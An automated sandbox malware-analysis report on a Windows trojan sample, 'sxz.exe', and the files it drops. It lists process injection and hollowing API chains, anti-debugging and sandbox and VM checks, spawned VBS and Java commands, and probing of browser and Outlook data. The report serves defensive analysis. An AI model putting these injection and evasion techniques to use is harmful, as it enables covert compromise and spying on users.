Source: sxz.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Skype.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 358saxio.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Skype.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 358saxio.exe.27.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Skype.exe.35.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Reads the hosts file

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File read: C:\Windows\System32\drivers\etc\hosts

Sample file is different than original file name gathered from version info

Show sources

Source: sxz.exe, 00000001.00000002.14995935256.002F0000.00000008.sdmp

Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs sxz.exe

Sample reads its own file content

Show sources

Source: C:\Users\user\Desktop\sxz.exe

File read: C:\Users\user\Desktop\sxz.exe

Jump to behavior

Searches the installation path of Mozilla Firefox

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\43.0.1 (x86 en-US)\Main Install Directory

PE file has section (not .text) which is very likely to contain packed code (zlib compression ratio < 0.011)

Show sources

Source: server.exe.2.dr	Static PE information: Section: .rsrc ZLIB complexity 0.999469521605
Source: Server.exe.3.dr	Static PE information: Section: .rsrc ZLIB complexity 0.999469521605

Classification label

Show sources

Source: classification engine

Classification label: mal100.evad.expl.spyw.troj.winEXE@61/225@34/1

Contains functionality for error logging

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Code function: 12_2_0042212C GetLastError,FormatMessageA,

12_2_0042212C

Contains functionality to check free disk space

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Code function: 12_2_004093C0 GetDiskFreeSpaceA,

12_2_004093C0

Contains functionality to enum processes or threads

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C83A54 CreateToolhelp32Snapshot,Process32FirstW,CharUpperW,CharUpperW,CharUpperW,CharUpperW,Process32NextW,CloseHandle,

3_2_00C83A54

Contains functionality to load and extract PE file embedded resources

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C8406C FindResourceW,SizeofResource,LoadResource,LockResource,FreeResource,

3_2_00C8406C

Creates files inside the user directory

Show sources

Source: C:\Users\user\Desktop\sxz.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Skype.exe

Jump to behavior

Creates temporary files

Show sources

Source: C:\Users\user\Desktop\sxz.exe

File created: C:\Users\user~1\AppData\Local\Temp\ope641.tmp

Jump to behavior

Executable is probably coded in java

Show sources

Source: C:\Users\user\Desktop\sxz.exe

Section loaded: C:\Program Files\Java\jre1.8.0_40\bin\java.dll

Jump to behavior

Executes visual basic scripts

Show sources

Source: unknown

Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5899708393590982329.vbs

Launches a second explorer.exe instance

Show sources

Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe

Parts of this applications are using Borland Delphi (Probably coded in Delphi)

Show sources

Source: C:\Users\user\Desktop\sxz.exe	Key opened: HKEY_USERS\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_USERS\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_USERS\Software\Borland\Delphi\Locales

Reads ini files

Show sources

Source: C:\Users\user\Desktop\sxz.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Reads software policies

Show sources

Source: C:\Users\user\Desktop\sxz.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus (Virustotal or Metascan)

Show sources

Source: sxz.exe

Virustotal: hash found

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\sxz.exe 'C:\Users\user\Desktop\sxz.exe'
Source: unknown	Process created: C:\Users\user\Desktop\sxz.exe C:\Users\user\Desktop\sxz.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\server.exe 'C:\Users\user~1\AppData\Local\Temp\server.exe'
Source: unknown	Process created: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe 'C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe' -jar 'C:\Users\user~1\AppData\Local\Temp\uroi.jar'
Source: unknown	Process created: C:\Windows\System32\svchost.exe svchost.exe
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe C:\Users\user\AppData\Roaming/Microsoft/Skype.exe
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe C:\Windows\InstallDir\Server.exe
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Program Files\Java\jre1.8.0_40\bin\java.exe 'C:\Program Files\Java\jre1.8.0_40\bin\java.exe' -jar C:\Users\user~1\AppData\Local\Temp\_0.71076688945376033550400146700531635.class
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe C:\Windows\InstallDir\Server.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe 'C:\Users\user~1\AppData\Local\Temp\358saxio.exe'
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Windows\InstallDir\Server.exe 'C:\Windows\InstallDir\Server.exe'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5899708393590982329.vbs
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe C:\Users\user~1\AppData\Local\Temp\358saxio.exe
Source: unknown	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5899708393590982329.vbs
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive4502924618821110619.vbs
Source: unknown	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive4502924618821110619.vbs
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe C:\Users\user\AppData\Roaming/Microsoft/Skype.exe
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Windows\InstallDir\Server.exe 'C:\Windows\InstallDir\Server.exe'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive3783187546293847897.vbs
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5306090169834682625.vbs
Source: unknown	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive3783187546293847897.vbs
Source: unknown	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5306090169834682625.vbs
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe 'C:\Users\user~1\AppData\Local\Temp\358saxio.exe'
Source: unknown	Process created: C:\Windows\System32\xcopy.exe xcopy 'C:\Program Files\Java\jre1.8.0_40' 'C:\Users\user\AppData\Roaming\Oracle\' /e
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe C:\Users\user~1\AppData\Local\Temp\358saxio.exe
Source: unknown	Process created: C:\Windows\System32\xcopy.exe xcopy 'C:\Program Files\Java\jre1.8.0_40' 'C:\Users\user\AppData\Roaming\Oracle\' /e
Source: C:\Users\user\Desktop\sxz.exe	Process created: C:\Users\user\Desktop\sxz.exe C:\Users\user\Desktop\sxz.exe	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process created: C:\Users\user\AppData\Local\Temp\server.exe 'C:\Users\user~1\AppData\Local\Temp\server.exe'	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process created: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe 'C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe' -jar 'C:\Users\user~1\AppData\Local\Temp\uroi.jar'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process created: C:\Windows\System32\svchost.exe svchost.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe 'C:\Users\user~1\AppData\Local\Temp\358saxio.exe'	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: C:\Program Files\Java\jre1.8.0_40\bin\java.exe 'C:\Program Files\Java\jre1.8.0_40\bin\java.exe' -jar C:\Users\user~1\AppData\Local\Temp\_0.71076688945376033550400146700531635.class	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5899708393590982329.vbs	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive3783187546293847897.vbs	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: C:\Windows\System32\xcopy.exe xcopy 'C:\Program Files\Java\jre1.8.0_40' 'C:\Users\user\AppData\Roaming\Oracle\' /e	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\InstallDir\Server.exe 'C:\Windows\InstallDir\Server.exe'	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\java.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive4502924618821110619.vbs
Source: C:\Program Files\Java\jre1.8.0_40\bin\java.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5306090169834682625.vbs
Source: C:\Program Files\Java\jre1.8.0_40\bin\java.exe	Process created: C:\Windows\System32\xcopy.exe xcopy 'C:\Program Files\Java\jre1.8.0_40' 'C:\Users\user\AppData\Roaming\Oracle\' /e
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe C:\Users\user~1\AppData\Local\Temp\358saxio.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\InstallDir\Server.exe 'C:\Windows\InstallDir\Server.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5899708393590982329.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive4502924618821110619.vbs
Source: C:\Windows\InstallDir\Server.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\Windows\InstallDir\Server.exe	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe 'C:\Users\user~1\AppData\Local\Temp\358saxio.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive3783187546293847897.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript.exe C:\Users\user~1\AppData\Local\Temp\Retrive5306090169834682625.vbs
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process created: C:\Users\user\AppData\Local\Temp\358saxio.exe C:\Users\user~1\AppData\Local\Temp\358saxio.exe

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Users\user\Desktop\sxz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Uses Rich Edit Controls

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Windows\system32\MsftEdit.dll

Jump to behavior

Found graphical window changes (likely an installer)

Show sources

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Key opened: HKEY_USERS\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Submission file is bigger than most known malware samples

Show sources

Source: sxz.exe

Static file information: File size 2297344 > 1048576

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe

File opened: C:\Program Files\Java\jre1.8.0_40\bin\msvcr100.dll

Jump to behavior

PE file has a big raw section

Show sources

Source: sxz.exe

Static PE information: Raw size of UPX1 is bigger than: 0x100000 < 0x22fa00

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Memory allocated: C:\Windows\System32\svchost.exe base: C80000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Memory allocated: C:\Program Files\Internet Explorer\iexplore.exe base: C80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\InstallDir\Server.exe	Memory allocated: C:\Program Files\Internet Explorer\iexplore.exe base: C80000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C84600 CreateProcessW,Sleep,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,SetThreadContext,ResumeThread,

3_2_00C84600

Contains functionality to inject threads in other processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C83CE4 GetModuleHandleA,VirtualFreeEx,VirtualAllocEx,GetModuleHandleA,WriteProcessMemory,CreateRemoteThread,CloseHandle,	3_2_00C83CE4
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C83CE4 GetModuleHandleA,VirtualFreeEx,VirtualAllocEx,GetModuleHandleA,WriteProcessMemory,CreateRemoteThread,CloseHandle,	3_1_00C83CE4
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C83CE4 GetModuleHandleA,VirtualFreeEx,VirtualAllocEx,GetModuleHandleA,WriteProcessMemory,CreateRemoteThread,CloseHandle,	5_2_00C83CE4
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C83CE4 GetModuleHandleA,VirtualFreeEx,VirtualAllocEx,GetModuleHandleA,WriteProcessMemory,CreateRemoteThread,CloseHandle,	6_2_00C83CE4
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C83CE4 GetModuleHandleA,VirtualFreeEx,VirtualAllocEx,GetModuleHandleA,WriteProcessMemory,CreateRemoteThread,CloseHandle,	15_2_00C83CE4
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C83CE4 GetModuleHandleA,VirtualFreeEx,VirtualAllocEx,GetModuleHandleA,WriteProcessMemory,CreateRemoteThread,CloseHandle,	15_1_00C83CE4

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C88EF8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Thread created: C:\Program Files\Internet Explorer\iexplore.exe EIP: C88BC0	Jump to behavior
Source: C:\Windows\InstallDir\Server.exe	Thread created: C:\Program Files\Internet Explorer\iexplore.exe EIP: C88BC0

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\sxz.exe	Memory written: C:\Users\user\Desktop\sxz.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Memory written: C:\Windows\System32\svchost.exe base: C80000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Memory written: C:\Program Files\Internet Explorer\iexplore.exe base: C80000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Memory written: C:\Users\user\AppData\Local\Temp\358saxio.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\InstallDir\Server.exe	Memory written: C:\Program Files\Internet Explorer\iexplore.exe base: C80000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Memory written: C:\Users\user\AppData\Local\Temp\358saxio.exe base: 400000 value starts with: 4D5A

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\sxz.exe	Thread register set: target process: 3624	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Thread register set: target process: 2184
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Thread register set: target process: 2280

Writes to foreign memory regions

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Memory written: C:\Windows\System32\svchost.exe base: C80000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Memory written: C:\Program Files\Internet Explorer\iexplore.exe base: C80000	Jump to behavior
Source: C:\Windows\InstallDir\Server.exe	Memory written: C:\Program Files\Internet Explorer\iexplore.exe base: C80000

Anti Debugging:

Checks for debuggers (devices)

Show sources

Source: C:\Windows\explorer.exe	File opened: C:\Windows\WinSxS\FileMaps\program_files_java_jre1.8.0_40_bin_dc0a9e79a9a08fab.cdf-ms
Source: C:\Windows\explorer.exe	File opened: C:\Windows\WinSxS\FileMaps\users_user_1_appdata_local_temp_78530b0c641b30d5.cdf-ms
Source: C:\Windows\explorer.exe	File opened: C:\Windows\WinSxS\FileMaps\$$_installdir_1a6c4aae522d2aa2.cdf-ms

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Checks if the current process is being debugged

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process queried: DebugPort

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C83D8C LoadLibraryA,GetProcAddress,FreeLibrary,

3_2_00C83D8C

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C88674 mov eax, dword ptr fs:[00000030h]	3_2_00C88674
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C88760 mov eax, dword ptr fs:[00000030h]	3_2_00C88760
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C886CC mov eax, dword ptr fs:[00000030h]	3_2_00C886CC
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C88674 mov eax, dword ptr fs:[00000030h]	3_1_00C88674
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C88760 mov eax, dword ptr fs:[00000030h]	3_1_00C88760
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C886CC mov eax, dword ptr fs:[00000030h]	3_1_00C886CC
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C88674 mov eax, dword ptr fs:[00000030h]	5_2_00C88674
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C88760 mov eax, dword ptr fs:[00000030h]	5_2_00C88760
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C886CC mov eax, dword ptr fs:[00000030h]	5_2_00C886CC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C88674 mov eax, dword ptr fs:[00000030h]	6_2_00C88674
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C88760 mov eax, dword ptr fs:[00000030h]	6_2_00C88760
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C886CC mov eax, dword ptr fs:[00000030h]	6_2_00C886CC
Source: C:\Windows\explorer.exe	Code function: 14_1_01B88674 mov eax, dword ptr fs:[00000030h]	14_1_01B88674
Source: C:\Windows\explorer.exe	Code function: 14_1_01B88760 mov eax, dword ptr fs:[00000030h]	14_1_01B88760
Source: C:\Windows\explorer.exe	Code function: 14_1_01B886CC mov eax, dword ptr fs:[00000030h]	14_1_01B886CC
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C88674 mov eax, dword ptr fs:[00000030h]	15_2_00C88674
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C88760 mov eax, dword ptr fs:[00000030h]	15_2_00C88760
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C886CC mov eax, dword ptr fs:[00000030h]	15_2_00C886CC
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C88674 mov eax, dword ptr fs:[00000030h]	15_1_00C88674
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C88760 mov eax, dword ptr fs:[00000030h]	15_1_00C88760
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C886CC mov eax, dword ptr fs:[00000030h]	15_1_00C886CC

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C823E8 GetProcessHeap,GetCurrentThreadId,

3_2_00C823E8

Enables debug privileges

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Process token adjusted: Debug

Creates guard pages, often used to prevent reverse engineering and debugging

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe

Memory protected: page read and write and page guard

Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Windows\InstallDir\Server.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\server.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_3-9517
Source: C:\Users\user\AppData\Local\Temp\server.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_3-9564
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_5-9467
Source: C:\Windows\InstallDir\Server.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Program Files\Internet Explorer\iexplore.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_6-9701

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_3-10272
Source: C:\Windows\InstallDir\Server.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes and other dynamic analysis tools (process name or module)

Show sources

Source: server.exe, svchost.exe, iexplore.exe, explorer.exe, Server.exe

Binary or memory string: SBIEDLL.DLL

Tries to detect virtual machines

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: VBoxService.exe VBoxService.exe	3_2_00C881BC
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: VBoxService.exe VBoxService.exe	3_1_00C881BC
Source: C:\Windows\System32\svchost.exe	Code function: VBoxService.exe VBoxService.exe	5_2_00C881BC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: VBoxService.exe VBoxService.exe	6_2_00C881BC
Source: C:\Windows\InstallDir\Server.exe	Code function: VBoxService.exe VBoxService.exe	15_2_00C881BC
Source: C:\Windows\InstallDir\Server.exe	Code function: VBoxService.exe VBoxService.exe	15_1_00C881BC

Enumerates the file system

Show sources

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Show sources

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 834			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 627

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\JAWTAccessBridge.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jfxwebkit.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\wsdetect.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\sunmscapi.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\bci.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\plugin2\npjp2.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\ssv.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jfxmedia.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\prism_es2.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\glass.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\java_crw_demo.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jaas_nt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jsound.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jp2native.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jli.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\fontmanager.dll	Jump to dropped file
